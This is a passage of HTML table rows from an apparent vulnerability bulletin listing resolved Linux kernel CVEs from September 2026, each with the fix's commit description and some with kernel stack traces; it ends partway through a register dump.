&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Unwind TX receiver mailbox setup failure mailbox_chan_setup() can request an additional unidirectional TX receiver channel after successfully acquiring the primary channel. If that second request fails, the function returns immediately and leaves the primary channel allocated. Unwind the primary mailbox channel before returning the error so probe deferral or other setup failures do not leave the channel busy for later probe attempts.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93083&quot; target=&quot;_blank&quot;&gt;CVE-2026-93083&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Drop handle on protocol bind failures The SCMI bus notifier acquires an SCMI handle when the driver core emits BUS_NOTIFY_BIND_DRIVER, before invoking the protocol driver probe callback. The protocol probe path only checks whether sdev-&amp;gt;handle is set. If device_link_add() fails after the handle has been acquired, the protocol device can still bind with a valid handle but without the dependency link to the SCMI parent. A concurrent parent unbind can then miss the child and tear down the SCMI instance while the child still holds a handle into it. If the protocol driver probe later fails, for example with -EPROBE_DEFER, the driver core emits BUS_NOTIFY_DRIVER_NOT_BOUND rather than BUS_NOTIFY_UNBOUND_DRIVER. The SCMI notifier only released the handle on BUS_NOTIFY_UNBOUND_DRIVER, so each failed protocol-device bind leaked the SCMI instance users refcount and left sdev-&amp;gt;handle set after the failed probe. Make the link helper report failure and drop the acquired handle if the link cannot be created. Also handle BUS_NOTIFY_DRIVER_NOT_BOUND in the same cleanup path used for unbind so failed probes balance the earlier BUS_NOTIFY_BIND_DRIVER acquisition.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93084&quot; target=&quot;_blank&quot;&gt;CVE-2026-93084&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Reject out of range DT protocol IDs SCMI protocol IDs carried in message headers are limited by MSG_PROTOCOL_ID_MASK. The DT parsing paths noticed protocol IDs outside that range, but only logged an error and then kept processing the invalid value. That lets a malformed 32-bit DT reg value reach helpers which take a u8 protocol ID, where it can be truncated and/or treated as a different protocol. For channel setup, two different out-of-range values can also be used as distinct IDR keys while aliasing the generated SCMI protocol identity. Skip DT protocol nodes whose reg value does not fit the SCMI protocol ID field before setting up channels or creating protocol devices.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93085&quot; target=&quot;_blank&quot;&gt;CVE-2026-93085&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Avoid IDR updates while cleaning channels scmi_cleanup_channels() walks the TX/RX channel IDRs with idr_for_each() to free transport resources and destroy the dedicated transport devices before calling idr_destroy(). The destroy callback removed each entry from the same IDR being walked. That is not needed for this cleanup path, and it is unsafe because idr_for_each() has not advanced its radix-tree iterator while the callback is running. Removing the current entry from the callback can invalidate the iterator state. The callback also cannot be protected by rcu_read_lock(), because scmi_device_destroy() may sleep. Leave IDR teardown to the following idr_destroy() call and keep the callback limited to device destruction.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93086&quot; target=&quot;_blank&quot;&gt;CVE-2026-93086&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Free transport channel on IDR failure If transport channel setup succeeds but the following IDR insertion fails, the error path destroys the transport device and frees the channel info without invoking the transport cleanup callback. Call chan_free() before destroying the device so transport specific resources such as IRQs, mailbox channels and mapped shared memory are released consistently with the normal teardown path.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93089&quot; target=&quot;_blank&quot;&gt;CVE-2026-93089&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Clean up channels on setup failure scmi_channels_setup() can fail after the common BASE channel or earlier protocol channels have already been registered in the TX/RX IDRs. Route this failure through the existing channel cleanup label so the transport channels, transport devices and IDR state created before the failure are released before the probe error path frees the SCMI instance ID.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93090&quot; target=&quot;_blank&quot;&gt;CVE-2026-93090&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Quiesce notifications before teardown scmi_notification_exit() clears and releases the notification instance, but transport callbacks can still deliver incoming notifications until the TX/RX channels are freed. During remove, an RX interrupt in that window can enter scmi_notify() while notification state is being torn down and then dereference freed memory. The same ordering exists on the probe error path after notification initialization. The notification late-init worker has a separate lifetime issue: protocol event registration queues ni-&amp;gt;init_work on the system workqueue, so destroying ni-&amp;gt;notify_wq does not drain that work. If the devres group is released while init_work is still pending or running, the late-init worker can dereference the freed notification instance. Quiesce the notification core before TX/RX channels are torn down, then clean up the channels before releasing the notification core resources. Use disable_work_sync() so future late-init queueing is rejected and any already queued or running late-init work has completed before channel teardown starts.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93091&quot; target=&quot;_blank&quot;&gt;CVE-2026-93091&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Unregister device notifier before IDR teardown The requested-devices notifier looks up protocol fwnodes from the active_protocols IDR. During remove, unregister the notifier before releasing and destroying active_protocols so no notifier callback can race with the IDR teardown. Keep the bus notifier registered until after the protocol state is torn down, matching the existing remove ordering for SCMI bus users.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93092&quot; target=&quot;_blank&quot;&gt;CVE-2026-93092&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Publish channel state before callbacks Transport setup can enable callbacks before the setup routine returns. mailbox_chan_setup() registers the mailbox client with mbox_request_channel(), and the mailbox controller startup path can enable interrupt delivery before SCMI mailbox channel state has been published. Similarly, smc_chan_setup() requests the optional A2P completion IRQ before the SMC transport has made its cinfo pointer visible. If a pending or spurious callback fires in those windows, the transport RX callback can dereference a NULL transport cinfo pointer. Publishing only the transport-private pointer is not sufficient either: an early callback can enter the SCMI core before scmi_chan_setup() has assigned cinfo-&amp;gt;handle. The core derives scmi_info from cinfo-&amp;gt;handle in the RX path, so a NULL handle can still fault even when the transport-private cinfo is valid. Assign cinfo-&amp;gt;handle before invoking the transport setup callback. Publish the mailbox and SMC transport-private channel state before requesting the mailbox channels or IRQ, and clear the early-published pointers again on setup failure. Also unwind mailbox setup devres resources on failure so an optional RX setup error that is ignored by the core does not leave stale transport state behind.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93093&quot; target=&quot;_blank&quot;&gt;CVE-2026-93093&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: ath12k: fix dp_link_peer dangling references on AP vdev rollback ath12k_mac_vdev_create() for an AP vdev creates the bss self-peer via ath12k_peer_create(), which finishes by calling ath12k_dp_link_peer_assign() to publish the dp_link_peer in the dp_hw-&amp;gt;dp_peers[peerid_index] RCU table, in the dp_peer&#039;s link_peers[] array, and in the per-addr rhashtable. If a step after ath12k_peer_create() fails the function jumps to err_peer_del, which open-codes a WMI peer_delete and waits for the unmap / delete_resp events. The wait_for_peer_delete_done() path relies on ath12k_dp_link_peer_unmap_event() freeing the dp_link_peer when the unmap arrives, but err_peer_del never calls ath12k_dp_link_peer_unassign() first. The published references in the dp_hw RCU table, dp_peer-&amp;gt;link_peers[] and the rhashtable are left pointing at the dp_link_peer that unmap_event then frees, producing dangling pointers and use-after-free on subsequent lookups. Replace the open-coded sequence with a call to ath12k_peer_delete(), which already does ath12k_dp_link_peer_unassign() before sending the WMI command. This drops the published references before the dp_link_peer is freed, in the same order as the normal teardown path in ath12k_mac_remove_link_interface(). Tested-on: WCN7850 hw2.0 PCI WLAN.HMT.1.1.c7-00108-QCAHMTSWPL_V1.0_V2.0_SILICONZ_UPSTREAM-3&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93094&quot; target=&quot;_blank&quot;&gt;CVE-2026-93094&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: cxl/features: Serialize multi-part Get/Set Feature transfers A Get or Set Feature payload larger than the mailbox payload size is split into several mailbox commands. mbox_mutex only serializes individual mailbox commands and is dropped between iterations of these loops. Nothing serializes the multi-part transfer as a whole. cxl_get_feature() and cxl_set_feature() are reachable concurrently from fwctl (per-fd RPCs run under a read-held registration lock) and from the EDAC scrub/ECS/repair paths, so two transfers to the same mailbox can interleave their parts and corrupt the device&#039;s transfer context. Add a per-mailbox feat_mutex and hold it across the whole transfer in both functions. It nests outside mbox_mutex (which is taken inside cxl_internal_send_cmd()), and is taken nowhere else, so no lock-ordering inversion is introduced.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93096&quot; target=&quot;_blank&quot;&gt;CVE-2026-93096&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: cxl/mbox: Break poison list loop on an empty payload A device that returns count == 0 with CXL_POISON_FLAG_MORE set on every iteration never advances nr_records, so the max_errors guard never trips and the do/while loops forever while holding poison.mutex. That hangs the sysfs-triggered scan thread and blocks all subsequent poison operations on the device. The existing &quot;Protect against an uncleared _FLAG_MORE&quot; guard was intended to bound a misbehaving device but does not cover the count == 0 case. Stop the loop on an empty payload so a malfunctioning or malicious device cannot wedge the poison scan.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93097&quot; target=&quot;_blank&quot;&gt;CVE-2026-93097&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: rpmsg: glink: fix deadlock in endpoint destroy during driver detach During driver detach, the device core holds the device mutex throughout the driver&#039;s remove callback chain. When the rpmsg endpoint is destroyed as part of that teardown, the GLINK endpoint destroy implementation attempts to unregister the underlying rpmsg device. That unregistration calls device_del(), which tries to re-acquire the same device mutex already held higher up the stack, causing rmmod to hang indefinitely. The deadlock manifests with the following call chain: [&amp;lt;0&amp;gt;] device_del+0x44/0x414ƒƒ&amp;lt;- tries to acquire same mutex [&amp;lt;0&amp;gt;] device_unregister+0x18/0x34 [&amp;lt;0&amp;gt;] rpmsg_unregister_device+0x28/0x4c [&amp;lt;0&amp;gt;] qcom_glink_remove_rpmsg_device+0x70/0xc0 [&amp;lt;0&amp;gt;] qcom_glink_destroy_ept+0x58/0xbc [&amp;lt;0&amp;gt;] rpmsg_dev_remove+0x50/0x60 [&amp;lt;0&amp;gt;] device_remove+0x4c/0x80 [&amp;lt;0&amp;gt;] device_release_driver_internal+0x1cc/0x228 &amp;lt;- acquires device mutex [&amp;lt;0&amp;gt;] driver_detach+0x4c/0x98 [&amp;lt;0&amp;gt;] bus_remove_driver+0x6c/0xbc [&amp;lt;0&amp;gt;] driver_unregister+0x30/0x60 [&amp;lt;0&amp;gt;] unregister_rpmsg_driver+0x10/0x1c [&amp;lt;0&amp;gt;] fastrpc_exit+0x28/0x38 [fastrpc] [&amp;lt;0&amp;gt;] __arm64_sys_delete_module+0x1b8/0x294 [&amp;lt;0&amp;gt;] invoke_syscall+0x48/0x10c [&amp;lt;0&amp;gt;] el0_svc_common.constprop.0+0xc0/0xe0 [&amp;lt;0&amp;gt;] do_el0_svc+0x1c/0x28 [&amp;lt;0&amp;gt;] el0_svc+0x34/0x108 [&amp;lt;0&amp;gt;] el0t_64_sync_handler+0xa0/0xe4 [&amp;lt;0&amp;gt;] el0t_64_sync+0x198/0x19c The rpmsg device unregistration inside endpoint destroy is redundant. In both contexts where endpoint destruction is triggered: - Driver detach path: the driver core already tears down the rpmsg device. - Channel close path: the rpmsg device is already unregistered before endpoint destruction is reached. Remove the redundant unregistration to fix the deadlock.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93098&quot; target=&quot;_blank&quot;&gt;CVE-2026-93098&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: fs/resctrl: Fix UAF from worker threads when domains are removed The mbm_handle_overflow() and cqm_handle_limbo() workers read event counters and may sleep while doing so. They are scheduled via delayed_work embedded in struct rdt_l3_mon_domain. Architecture allocates and frees these domains from CPU hotplug callbacks under cpus_write_lock(), and the workers acquire cpus_read_lock() to keep the domain alive across their access. A use-after-free can occur when a worker is blocked waiting for cpus_read_lock() while the hotplug core holds cpus_write_lock(): the architecture frees the rdt_l3_mon_domain that contains the worker&#039;s work_struct. When the worker unblocks, the container_of() it performs on the embedded work pointer dereferences freed memory. Drop cpus_read_lock() from the workers and instead drain pending and in-flight work synchronously before the architecture can free the domain. Since architecture offlines the domain under cpus_write_lock() after it has been unlinked from the RCU list and a grace period has elapsed, no new work can be scheduled. The cancel only needs to wait out existing work. Drop rdtgroup_mutex during CPU offline around cancel_delayed_work_sync() so that a worker waiting on the mutex can complete before re-pinning the work on a different CPU. When offlining a CPU the architecture may iterate over resources in any order. For example, the MBA control domain may be offlined before or after a corresponding L3 monitor domain. Ensure that resctrl fs cancels the workers no matter what order the architecture offlines the domains.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93099&quot; target=&quot;_blank&quot;&gt;CVE-2026-93099&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: fs/resctrl: Prevent use-after-free in rdtgroup_kn_put() A struct rdtgroup is reference counted via rdtgroup::waitcount. Callers that need the structure to remain valid across a sleep (while waiting on acquiring rdtgroup_mutex) take a reference with rdtgroup_kn_get() and release it with rdtgroup_kn_put(). The release path is intended to serve as the fallback freer: if the count drops to zero and the group has already been marked RDT_DELETED, rdtgroup_kn_put() frees the structure. The bulk teardown paths free_all_child_rdtgrp() and rmdir_all_sub() resulting from a resctrl directory remove or resctrl fs unmount act as the primary freer: they hold rdtgroup_mutex and free each rdtgroup whose waitcount is zero, otherwise they set RDT_DELETED and leave the freeing to the last waiter. These two freers race. rdtgroup_kn_put() commits waitcount == 0 with atomic_dec_and_test() outside rdtgroup_mutex, then reads rdtgroup::flags. Between those two operations a concurrent caller of free_all_child_rdtgrp() or rmdir_all_sub() (which holds the mutex) can observe waitcount == 0 via atomic_read(), call rdtgroup_remove(), and kfree() the structure. The subsequent read of rdtgroup::flags in rdtgroup_kn_put() is then a use-after-free, and the structure may even be freed twice if the freed memory happens to satisfy the RDT_DELETED flag check. Replace the bare atomic_dec_and_test() with atomic_dec_and_mutex_lock() so that the decrement-to-zero takes rdtgroup_mutex before the count becomes globally visible. The inspection of rdtgroup::flags then runs under the same mutex held by the bulk freers, making the two paths mutually exclusive. The common case where the count does not reach zero remains lock-free. Defer kernfs_unbreak_active_protection() until after the mutex is dropped since kernfs active protections functionally wrap rdtgroup_mutex. Remove resource group, which in turn drops its kernfs reference, after kernfs protection is restored. [ bp: Split the commit messsages into smaller, easier-parseable paragraphs. ]&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93100&quot; target=&quot;_blank&quot;&gt;CVE-2026-93100&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: v4l2-async: Unregister sub-device if asc_list is empty When my em28xx USB device that uses the i2c tvp5150 driver is disconnected, it crashes. The cause is that the tvp5150 i2c module uses v4l2_async, but the em28xx driver does not since it predates v4l2_async. In that corner case sd-&amp;gt;asc_list is empty, so v4l2_async_unregister_subdev() never calls v4l2_device_unregister_subdev(). Modify the code so that, if sd-&amp;gt;asc_list is empty, v4l2_device_unregister_subdev() is still called.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93101&quot; target=&quot;_blank&quot;&gt;CVE-2026-93101&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/hfi1: Free RX data on late probe failure hfi1_init_dd() allocates the shared AIP/VNIC RX support before returning. If hfi1_init() or hfi1_register_ib_device() later fails, init_one() tears down the device data without calling hfi1_free_rx(). This leaks netdev_rx and its dummy netdev. Free the RX support after IB unregistration and before postinit_cleanup(), as done on normal device removal.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93102&quot; target=&quot;_blank&quot;&gt;CVE-2026-93102&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/hfi1: Preserve unit 0 on allocation failure hfi1_free_devdata() assumes that the device was inserted into the unit table and unconditionally erases dd-&amp;gt;unit. If xa_alloc_irq() fails, the zero-initialized unit remains zero, so full cleanup can remove an unrelated device from index 0. Release only the rdmavt allocation and return immediately while the unit table has not acquired the device.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93103&quot; target=&quot;_blank&quot;&gt;CVE-2026-93103&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/rvt: Return NULL after port allocation failure rvt_alloc_device() deallocates the IB device when its port array cannot be allocated but then returns the pointer to the released allocation. Callers treat any non-NULL value as valid and dereference it, resulting in a use-after-free. Return NULL immediately after deallocation so callers can propagate the allocation failure.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93104&quot; target=&quot;_blank&quot;&gt;CVE-2026-93104&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: crash_dump: release keyring reference at the correct time restore_dm_crypt_keys_to_thread_keyring() gets a reference to the user keyring before restoring the saved dm-crypt keys. The same keyring reference is then passed to add_key_to_keyring() for each saved key, but add_key_to_keyring() drops that reference on every call. This is only balanced when exactly one key is restored. With multiple keys, the keyring reference is dropped too many times and may trigger a refcount underflow or use-after-free. When more than five keys are restored, a refcount underflow/use-after-free warning can be triggered. The early error paths after lookup_user_key() also return without dropping the keyring reference. Keep ownership of the keyring reference in restore_dm_crypt_keys_to_thread_keyring(), drop it once on all exit paths, and make add_key_to_keyring() only use the reference without consuming it.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93106&quot; target=&quot;_blank&quot;&gt;CVE-2026-93106&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/ipoib: Drain RCU callbacks during module teardown IPoIB reclamation completions can be signaled from inside an RCU callback. Teardown can wake before the callback returns and unload ib_ipoib while its code is still executing. Client registration failure can also remove already-added devices and queue callbacks. Wait after client and workqueue teardown.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93108&quot; target=&quot;_blank&quot;&gt;CVE-2026-93108&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/mlx5: Drain RCU callbacks during module teardown devx_free_subscription() can remain queued after the last DevX event file drops its module reference or an auxiliary driver detaches its devices. mlx5_ib can then unload before the callback runs. Registration error unwind has the same risk because driver registration can attach existing devices before failing. Wait after all drivers have stopped.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93109&quot; target=&quot;_blank&quot;&gt;CVE-2026-93109&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/core: Wait for RCU callbacks before unloading ib_core put_gid_ndev() is queued with call_rcu() and implemented in ib_core. Stopping the workqueues does not drain callbacks already queued, so RCU could invoke it after the module code has been unloaded. synchronize_rcu() does not wait for callbacks. Wait for them after all producers have stopped.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93110&quot; target=&quot;_blank&quot;&gt;CVE-2026-93110&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: clk: qcom: camcc-sc8280xp: unregister CAMCC_GDSC_CLK With the introduction of sync_state support in the clk and pmdomain subsystems, the following warning happens when the unused clocks are shutdown in camcc-sc8280xp: [ 15.408367] titan_top_gdsc status stuck at &#039;on&#039; [ 15.408429] WARNING: drivers/clk/qcom/gdsc.c:178 at gdsc_toggle_logic+0x14c/0x160, CPU#2: kworker/u32:1/14 [ 15.408462] Modules linked in: bnep vfat fat ath11k_pci(+) ath11k mac80211 cfg80211 mhi libarc4 snd_soc_wcd938x snd_soc_wcd938x_sdw snd_soc_wcd_classh hci_uart snd_soc_wcd_common snd_soc_sc8280xp soundwire_qcom snd_soc_wcd_mbhc snd_soc_qcom_sdw slimbus snd_soc_qcom_common regmap_sdw btqca btrtl qcom_camss soundwire_bus btbcm btintel snd_soc_sdca snd_soc_lpass_wsa_macro bluetooth snd_soc_lpass_tx_macro snd_soc_lpass_va_macro snd_soc_lpass_rx_macro snd_soc_hdmi_codec snd_soc_lpass_macro_common videobuf2_dma_sg ov5675 v4l2_fwnode videobuf2_memops qcom_spmi_adc5 snd_soc_core qcom_spmi_adc_tm5 videobuf2_v4l2 snd_seq snd_seq_device videobuf2_common v4l2_async qcom_vadc_common qcom_spmi_temp_alarm pm8941_pwrkey industrialio videodev snd_compress rfkill ac97_bus snd_pcm_dmaengine qcom_tsens mc qcom_edac snd_pcm pci_pwrctrl_pwrseq qcom_cpufreq_hw snd_timer snd qcomtee soundcore tee leds_gpio joydev binfmt_misc zram lz4hc_compress governor_simpleondemand panel_edp msm xhci_plat_hcd nvme nvme_core dwc3 qcom_pm8008_regulator [ 15.408688] ucsi_glink nvme_keyring nvme_auth pmic_glink_altmode udc_core typec_ucsi aux_hpd_bridge qcom_battmgr ulpi ubwc_config socinfo ocmem drm_gpuvm qcom_q6v5_pas drm_exec qcom_pil_info leds_qcom_lpg gpu_sched led_class_multicolor rtc_pm8xxx qcom_pbs qcom_common drm_display_helper qcom_pon qcom_glink_smem qcom_glink ghash_ce pwrseq_qcom_wcn gpio_sbu_mux qcom_stats phy_qcom_qmp_combo qcom_q6v5 gf128mul cec dispcc_sc8280xp phy_qcom_edp camcc_sc8280xp i2c_qcom_cci qcom_sysmon drm_dp_aux_bus mdt_loader aux_bridge qcom_pm8008 i2c_hid_of_elan dwc3_qcom_legacy llcc_qcom icc_bwmon gpi typec qcom_refgen_regulator phy_qcom_qmp_usb nvmem_qfprom qcom_ipcc phy_qcom_snps_femto_v2 gpucc_sc8280xp pinctrl_sc8280xp_lpass_lpi qcom_hwspinlock pinctrl_lpass_lpi lpasscc_sc8280xp qrtr qcom_aoss pmic_glink pdr_interface phy_qcom_qmp_pcie qcom_smd qcom_pdr_msg icc_osm_l3 qcom_wdt qmi_helpers qcom_rng smp2p rpmsg_core gpio_keys pwm_bl smem hid_multitouch fuse i2c_dev [ 15.408928] CPU: 2 UID: 0 PID: 14 Comm: kworker/u32:1 Not tainted 7.1.0+ #2 PREEMPT(lazy) [ 15.408937] Hardware name: LENOVO 21BX0016US/21BX0016US, BIOS N3HET88W (1.60 ) 03/14/2024 [ 15.408942] Workqueue: pm pm_runtime_work [ 15.408959] pstate: 60400005 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--) [ 15.408967] pc : gdsc_toggle_logic+0x14c/0x160 [ 15.408978] lr : gdsc_toggle_logic+0x14c/0x160 [ 15.408987] sp : ffff8000800f3b40 [ 15.408991] x29: ffff8000800f3b40 x28: 0000000000000000 x27: 0000000000000000 [ 15.409003] x26: 0000000000000000 x25: 0000000000000000 x24: 0000000000000000 [ 15.409014] x23: 0000000000000000 x22: 0000000000000001 x21: ffffa33f298fca88 [ 15.409024] x20: 0000000000000000 x19: ffffa33f298fc5b0 x18: 00cd15db75dacefd 